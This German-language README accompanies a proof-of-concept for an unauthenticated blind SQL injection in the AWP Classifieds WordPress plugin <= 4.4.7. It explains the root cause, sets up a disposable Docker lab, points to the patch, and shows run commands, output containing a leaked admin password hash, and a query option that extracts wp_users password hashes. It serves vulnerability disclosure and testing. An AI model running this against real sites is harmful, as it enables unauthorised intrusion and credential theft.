
Unauthentifizierte zeitbasierte blinde SQL-Injection-PoC für AWP Classifieds <= 4.4.7, mit einem Docker-Lab, vollständigem Writeup und Patch-Diff.
Nicht authentifizierte zeitbasierte blinde SQL-Injection im WordPress-Plugin
AWP Classifieds (another-wordpress-classifieds-plugin), erreichbar über
den anonymen (Gast-)AJAX-Anzeigenübermittlungsablauf des Plugins.
| CVE | CVE-2026-59550 |
| Plugin | AWP Classifieds (another-wordpress-classifieds-plugin) |
| Verwundbar | <= 4.4.7 |
| Gepatcht | 4.4.8 |
| Klasse | SQL Injection (OWASP A3: Injection) |
| Berechtigung | Nicht authentifiziert |
| CVSS v3.1 | 9.3 (Hoch) |
| Sink | AWPCP_BasicRegionsAPI::save() - includes/regions-api.php |
| Gemeldet von | Thaer Assfour (über Patchstack) |
| Advisory | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
AWPCP_BasicRegionsAPI::save() leitet die Schlüssel eines benutzerseitig
bereitgestellten regions-Arrays direkt in $wpdb->insert() / $wpdb->update()
weiter. WordPress umschließt Spaltennamen mit Backticks, escaped sie aber
nicht, sodass ein Schlüssel, der einen Backtick enthält, aus dem Identifier
ausbricht und beliebiges SQL injiziert. Das regions-Array wird unverändert aus
$_POST übernommen, und die gesamte Kette ist ohne Authentifizierung
erreichbar, wann immer das Gast-Anzeigenveröffentlichen aktiviert ist
(requireuserregistration = 0, der Standard).
Der Fix in 4.4.8 fügt eine explizite Spalten-Allowlist
(filter_region_columns()) und eine Feld-Allowlist für übermittelte Regionen
(prepare_submitted_region()) hinzu.
.
├── README.md # this file
├── docs/
│ └── WRITEUP.md # full technical writeup
├── exploit/
│ ├── exploit.py # unauthenticated blind SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11, vuln + patched
│ ├── setup.sh # stage plugins, boot, provision both sites
│ └── teardown.sh # remove containers + volumes + staged files
└── patches/
├── 4.4.8-regions-api.diff # the security fix (single file)
└── 4.4.7-to-4.4.8-full.diff # complete release diff
Voraussetzungen: Docker + Docker Compose, Python 3 mit requests, unzip.
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
# -> patched (4.4.8): http://localhost:8090/?page_id=8
# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # should be VULNERABLE
python3 exploit.py http://localhost:8090 # should be PATCHED
# 3. tear everything down
cd ../lab && ./teardown.sh
setup.sh akzeptiert die beiden Plugin-Archive als Argumente oder über die
Umgebungsvariablen AWP447_ZIP / AWP448_ZIP; es fällt auf
~/Downloads/<slug>.4.4.7.zip und ~/Downloads/<slug>.4.4.8.zip zurück.
Die Archive sind nicht in diesem Repository eingecheckt - die rohen
WordPress-Core- und Plugin-Kopien liegen nur in lab/html-*/ und sind
git-ignoriert.
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
Beliebige Daten mit einer expliziten Abfrage extrahieren:
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
Der PoC ist ein zeitbasiertes Orakel, benötigt also keine Reflexion der SQL-Ausgabe und funktioniert auf einem vollständig blinden Ziel.
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
Siehe docs/WRITEUP.md für die vollständige
Taint-Analyse, den Request-Trace, den Beweis des generierten SQL und die
Diskussion des Fixes.
requireuserregistration = 1 und/oder
blockieren Sie die AJAX-Aktionen awpcp_save_listing_information /
awpcp_create_empty_listing.Dieses Material wird ausschließlich für defensive Sicherheitsforschung, Bildung und autorisiertes Testen bereitgestellt. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben. Das Lab ist vollständig containerisiert und wegwerfbar.